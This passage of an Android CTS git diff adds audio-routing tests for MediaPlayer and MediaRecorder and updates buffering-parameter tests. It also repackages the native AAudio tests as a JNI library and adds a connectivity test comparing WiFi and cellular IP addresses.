+ Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
private AudioManager mAudioManager;
+ private CountDownLatch mRoutingChangedLatch;
+ private File mOutFile;
@Override
protected void setUp() throws Exception {
@@ -58,6 +82,14 @@
assertNotNull(mAudioManager);
}
+ @Override
+ protected void tearDown() throws Exception {
+ if (mOutFile != null && mOutFile.exists()) {
+ mOutFile.delete();
+ }
+ super.tearDown();
+ }
+
private AudioTrack allocAudioTrack() {
int bufferSize =
AudioTrack.getMinBufferSize(
@@ -455,4 +487,260 @@
audioRecord.stop();
audioRecord.release();
}
+
+ private class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+ {
+ public void onRoutingChanged(AudioRouting audioRouting) {
+ if (mRoutingChangedLatch != null) {
+ mRoutingChangedLatch.countDown();
+ }
+ }
+ }
+
+ private MediaPlayer allocMediaPlayer() {
+ final int resid = R.raw.testmp3_2;
+ MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
+ mediaPlayer.setAudioAttributes(
+ new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+ mediaPlayer.start();
+ return mediaPlayer;
+ }
+
+ public void test_mediaPlayer_preferredDevice() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ assertTrue(mediaPlayer.isPlaying());
+
+ // None selected (new MediaPlayer), so check for default
+ assertNull(mediaPlayer.getPreferredDevice());
+
+ // resets to default
+ assertTrue(mediaPlayer.setPreferredDevice(null));
+
+ // test each device
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ for (int index = 0; index < deviceList.length; index++) {
+ assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+ assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
+ }
+
+ // Check defaults again
+ assertTrue(mediaPlayer.setPreferredDevice(null));
+ assertNull(mediaPlayer.getPreferredDevice());
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ public void test_mediaPlayer_getRoutedDevice() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ assertTrue(mediaPlayer.isPlaying());
+
+ // Sleep for 1s to ensure the output device open
+ SystemClock.sleep(1000);
+
+ // No explicit route
+ AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+ assertNotNull(routedDevice);
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ public void test_MediaPlayer_RoutingListener() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+
+ // null listener
+ mediaPlayer.addOnRoutingChangedListener(null, null);
+
+ AudioRoutingListener listener = new AudioRoutingListener();
+ AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+ // add a listener
+ mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+ // remove listeners
+ // remove a listener we didn't add
+ mediaPlayer.removeOnRoutingChangedListener(someOtherListener);
+ // remove a valid listener
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+
+ Looper myLooper = prepareIfNeededLooper();
+
+ mediaPlayer.addOnRoutingChangedListener(listener, new Handler());
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ if (myLooper != null) {
+ myLooper.quit();
+ }
+ }
+
+ public void test_MediaPlayer_RoutingChangedCallback() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ AudioRoutingListener listener = new AudioRoutingListener();
+ mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ if (deviceList.length < 2) {
+ // The available output device is less than 2, we can't switch output device.
+ return;
+ }
+ for (int index = 0; index < deviceList.length; index++) {
+ assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+ boolean routingChanged = false;
+ for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) {
+ // Create a new CountDownLatch in case it is triggered by previous routing change.
+ mRoutingChangedLatch = new CountDownLatch(1);
+ try {
+ mRoutingChangedLatch.await(WAIT_ROUTING_CHANGE_TIME_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ }
+ AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+ if (routedDevice == null) {
+ continue;
+ }
+ if (routedDevice.getId() == deviceList[index].getId()) {
+ routingChanged = true;
+ break;
+ }
+ }
+ assertTrue("Switching to device" + deviceList[index].getType() + " failed",
+ routingChanged);
+ }
+
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ private MediaRecorder allocMediaRecorder() throws Exception {
+ final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ "record.out").getAbsolutePath();
+ mOutFile = new File(outputPath);
+ MediaRecorder mediaRecorder = new MediaRecorder();
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ assertEquals(0, mediaRecorder.getMaxAmplitude());
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mediaRecorder.setOutputFile(outputPath);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+ mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+ mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+ mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+ mediaRecorder.prepare();
+ mediaRecorder.start();
+ // Sleep a while to ensure the underlying AudioRecord is initialized.
+ Thread.sleep(1000);
+ return mediaRecorder;
+ }
+
+ public void test_mediaRecorder_preferredDevice() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // None selected (new MediaPlayer), so check for default
+ assertNull(mediaRecorder.getPreferredDevice());
+
+ // resets to default
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+
+ // test each device
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+ for (int index = 0; index < deviceList.length; index++) {
+ if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+ // Only try to set devices whose type is contained in predefined set as preferred
+ // device in case of permission denied when switching input device.
+ continue;
+ }
+ assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+ assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+ }
+
+ // Check defaults again
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+ assertNull(mediaRecorder.getPreferredDevice());
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+ assertNotNull(routedDevice); // we probably can't say anything more than this
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_RoutingListener() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // null listener
+ mediaRecorder.addOnRoutingChangedListener(null, null);
+
+ AudioRoutingListener listener = new AudioRoutingListener();
+ AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+ // add a listener
+ mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+ // remove listeners we didn't add
+ mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+ // remove a valid listener
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Looper myLooper = prepareIfNeededLooper();
+ mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ if (myLooper != null) {
+ myLooper.quit();
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ab54e75..3a0d512 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -391,10 +391,22 @@
return; // skip
}
- // getDefaultBufferingParams should be called after setDataSource.
+ // getBufferingParams should be called after setDataSource.
try {
- BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
- fail("MediaPlayer failed to check state for getDefaultBufferingParams");
+ BufferingParams params = mMediaPlayer.getBufferingParams();
+ fail("MediaPlayer failed to check state for getBufferingParams");
+ } catch (IllegalStateException e) {
+ // expected
+ }
+
+ // setBufferingParams should be called after setDataSource.
+ try {
+ BufferingParams params = new BufferingParams.Builder()
+ .setInitialMarkMs(2)
+ .setResumePlaybackMarkMs(3)
+ .build();
+ mMediaPlayer.setBufferingParams(params);
+ fail("MediaPlayer failed to check state for setBufferingParams");
} catch (IllegalStateException e) {
// expected
}
@@ -421,33 +433,17 @@
assertFalse(mOnBufferingUpdateCalled.isSignalled());
- BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
+ BufferingParams params = mMediaPlayer.getBufferingParams();
- int newMark = -1;
- BufferingParams newParams = null;
- int initialBufferingMode = params.getInitialBufferingMode();
- if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
- || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
- newMark = params.getInitialBufferingWatermarkKB() + 1;
- newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkKB(
- newMark).build();
- } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
- newMark = params.getInitialBufferingWatermarkMs() + 1;
- newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkMs(
- newMark).build();
- } else {
- newParams = params;
- }
+ int newMark = params.getInitialMarkMs() + 2;
+ BufferingParams newParams =
+ new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
+
mMediaPlayer.setBufferingParams(newParams);
int checkMark = -1;
BufferingParams checkParams = mMediaPlayer.getBufferingParams();
- if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
- || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
- checkMark = checkParams.getInitialBufferingWatermarkKB();
- } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
- checkMark = checkParams.getInitialBufferingWatermarkMs();
- }
+ checkMark = checkParams.getInitialMarkMs();
assertEquals("marks do not match", newMark, checkMark);
// TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 2f64131..2017eba 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -1,4 +1,4 @@
-# Copyright 2017 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -12,40 +12,30 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNativeMediaAAudioTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+
+LOCAL_PACKAGE_NAME := CtsNativeMediaAAudioTestCases
+
+# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SRC_FILES := \
- src/test_aaudio.cpp \
- src/test_aaudio_callback.cpp \
- src/test_aaudio_misc.cpp \
- src/test_aaudio_mmap.cpp \
- src/test_aaudio_stream_builder.cpp \
- src/utils.cpp \
-
-LOCAL_SHARED_LIBRARIES := \
- libaaudio \
- liblog \
-
-LOCAL_STATIC_LIBRARIES := \
- libgtest_ndk_c++ \
-
-LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CFLAGS := -Werror -Wall
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_CTS_EXECUTABLE)
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(LOCAL_PATH)/jni/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
similarity index 60%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
copy to tests/tests/nativemedia/aaudio/AndroidManifest.xml
index 7727759..97bf5f9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
+<!-- Copyright (C) 2017 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -16,17 +15,19 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.displaysize.app">
+ package="android.nativemedia.aaudio">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-
- <!-- Set a ridiculously high value for required smallest width. Hopefully
- we never have to run CTS on Times Square display. -->
- <supports-screens android:requiresSmallestWidthDp="100000" />
-
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
<application>
- <activity android:name=".SmallestWidthActivity"
- android:exported="true" />
+ <uses-library android:name="android.test.runner" />
</application>
+ <!-- This is a self-instrumenting test package. -->
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.nativemedia.aaudio"
+ android:label="CTS tests of native AAudio API">
+ </instrumentation>
+
</manifest>
+
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 7030d0c..b796ea6 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -15,16 +15,14 @@
-->
<configuration description="Config for CTS Native Media AAudio test cases">
<option name="config-descriptor:metadata" key="component" value="media" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CtsNativeMediaAAudioTestCases->/data/local/tmp/CtsNativeMediaAAudioTestCases" />
- <option name="append-bitness" value="true" />
+ <option name="test-suite-tag" value="cts" />
+ <option name="not-shardable" value="true" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsNativeMediaAAudioTestCases.apk" />
</target_preparer>
- <test class="com.android.tradefed.testtype.GTest" >
- <option name="native-test-device-path" value="/data/local/tmp" />
- <option name="module-name" value="CtsNativeMediaAAudioTestCases" />
- <option name="runtime-hint" value="2m" />
- <!-- test-timeout unit is ms, value = 2 min -->
- <option name="native-test-timeout" value="120000" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.nativemedia.aaudio" />
+ <option name="runtime-hint" value="2m0s" />
</test>
</configuration>
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
new file mode 100644
index 0000000..c6f0902
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -0,0 +1,42 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libnativeaaudiotest
+LOCAL_MULTILIB := both
+
+LOCAL_SRC_FILES := \
+ test_aaudio.cpp \
+ test_aaudio_callback.cpp \
+ test_aaudio_mmap.cpp \
+ test_aaudio_misc.cpp \
+ test_aaudio_stream_builder.cpp \
+ utils.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+ libaaudio \
+ liblog
+
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.h b/tests/tests/nativemedia/aaudio/jni/test_aaudio.h
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.h
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.h
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/jni/utils.cpp
similarity index 93%
rename from tests/tests/nativemedia/aaudio/src/utils.cpp
rename to tests/tests/nativemedia/aaudio/jni/utils.cpp
index b039f4e..55d1e13 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/utils.cpp
@@ -173,22 +173,6 @@
: StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
-// Native apps don't have permissions, thus recording can
-// only be tested when running as root.
-static bool canTestRecording() {
- static const bool runningAsRoot = getuid() == 0;
- return runningAsRoot;
-}
-
-void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
- if (!canTestRecording()) {
- __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
- *success = false;
- } else {
- StreamBuilderHelper::createAndVerifyStream(success);
- }
-}
-
OutputStreamBuilderHelper::OutputStreamBuilderHelper(
aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
similarity index 98%
rename from tests/tests/nativemedia/aaudio/src/utils.h
rename to tests/tests/nativemedia/aaudio/jni/utils.h
index 44c3c69..7f38fef 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.h
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -84,7 +84,6 @@
InputStreamBuilderHelper(
aaudio_sharing_mode_t requestedSharingMode,
aaudio_performance_mode_t requestedPerfMode);
- void createAndVerifyStream(bool *success);
};
class OutputStreamBuilderHelper : public StreamBuilderHelper {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
similarity index 70%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
index 578d7e5..afb2db4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
@@ -14,10 +14,12 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.nativemedia.aaudio;
-import android.app.Activity;
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
-}
+@RunWith(GtestRunner.class)
+@TargetLibrary("nativeaaudiotest")
+public class AAudioTests {}
diff --git a/tests/tests/net/AndroidManifest.xml b/tests/tests/net/AndroidManifest.xml
index dd310a1..37bf323 100644
--- a/tests/tests/net/AndroidManifest.xml
+++ b/tests/tests/net/AndroidManifest.xml
@@ -30,7 +30,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index e98dfcc..27dd666 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -16,8 +16,11 @@
package android.net.cts;
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.content.pm.PackageManager.FEATURE_WIFI;
import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
import android.app.PendingIntent;
@@ -29,6 +32,7 @@
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkConfig;
@@ -50,14 +54,23 @@
import java.io.FileNotFoundException;
import java.io.InputStream;
import java.io.IOException;
+import java.io.InputStreamReader;
import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.Inet6Address;
+import java.net.InetAddress;
import java.net.Socket;
import java.net.InetSocketAddress;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
import java.util.HashMap;
import java.util.Scanner;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import libcore.io.Streams;
public class ConnectivityManagerTest extends AndroidTestCase {
@@ -107,6 +120,8 @@
private final HashMap<Integer, NetworkConfig> mNetworks =
new HashMap<Integer, NetworkConfig>();
boolean mWifiConnectAttempted;
+ private TestNetworkCallback mCellNetworkCallback;
+
@Override
protected void setUp() throws Exception {
@@ -140,6 +155,10 @@
if (mWifiConnectAttempted) {
disconnectFromWifi(null);
}
+ if (cellConnectAttempted()) {
+ disconnectFromCell();
+ }
+ super.tearDown();
}
/**
@@ -246,6 +265,95 @@
}
}
+ /**
+ * Tests that connections can be opened on WiFi and cellphone networks,
+ * and that they are made from different IP addresses.
+ */
+ public void testOpenConnection() throws Exception {
+ boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
+ && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
+ if (!canRunTest) {
+ Log.i(TAG,"testOpenConnection cannot execute unless device supports both WiFi "
+ + "and a cellular connection");
+ return;
+ }
+
+ Network wifiNetwork = connectToWifi();
+ Network cellNetwork = connectToCell();
+ // This server returns the requestor's IP address as the response body.
+ URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
+ String wifiAddressString = httpGet(wifiNetwork, url);
+ String cellAddressString = httpGet(cellNetwork, url);
+
+ assertFalse(String.format("Same address '%s' on two different networks (%s, %s)",
+ wifiAddressString, wifiNetwork, cellNetwork),
+ wifiAddressString.equals(cellAddressString));
+
+ // Sanity check that the IP addresses that the requests appeared to come from
+ // are actually on the respective networks.
+ assertOnNetwork(wifiAddressString, wifiNetwork);
+ assertOnNetwork(cellAddressString, cellNetwork);
+
+ assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
+ }
+
+ private Network connectToCell() throws InterruptedException {
+ if (cellConnectAttempted()) {
+ throw new IllegalStateException("Already connected");
+ }
+ NetworkRequest cellRequest = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NET_CAPABILITY_INTERNET)
+ .build();
+ mCellNetworkCallback = new TestNetworkCallback();
+ mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+ final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+ assertNotNull("Cell network not available within timeout", cellNetwork);
+ return cellNetwork;
+ }
+
+ private boolean cellConnectAttempted() {
+ return mCellNetworkCallback != null;
+ }
+
+ private void disconnectFromCell() {
+ if (!cellConnectAttempted()) {
+ throw new IllegalStateException("Cell connection not attempted");
+ }
+ mCm.unregisterNetworkCallback(mCellNetworkCallback);
+ mCellNetworkCallback = null;
+ }
+
+ /**
+ * Performs a HTTP GET to the specified URL on the specified Network, and returns
+ * the response body decoded as UTF-8.
+ */
+ private static String httpGet(Network network, URL httpUrl) throws IOException {
+ HttpURLConnection connection = (HttpURLConnection) network.openConnection(httpUrl);
+ try {
+ InputStream inputStream = connection.getInputStream();
+ return Streams.readFully(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
+ } finally {
+ connection.disconnect();
+ }
+ }
+
+ private void assertOnNetwork(String adressString, Network network) throws UnknownHostException {
+ InetAddress address = InetAddress.getByName(adressString);
+ LinkProperties linkProperties = mCm.getLinkProperties(network);
+ // To make sure that the request went out on the right network, check that
+ // the IP address seen by the server is assigned to the expected network.
+ // We can only do this for IPv6 addresses, because in IPv4 we will likely
+ // have a private IPv4 address, and that won't match what the server sees.
+ if (address instanceof Inet6Address) {
+ assertContains(linkProperties.getAddresses(), address);
+ }
+ }
+
+ private static<T> void assertContains(Collection<T> collection, T element) {
+ assertTrue(element + " not found in " + collection, collection.contains(element));
+ }
+
private void assertStartUsingNetworkFeatureUnsupported(int networkType, String feature) {
try {
mCm.startUsingNetworkFeature(networkType, feature);
@@ -324,7 +432,7 @@
* that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
*/
public void testRegisterNetworkCallback() {
- if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
return;
}
@@ -364,7 +472,7 @@
* of a {@code NetworkCallback}.
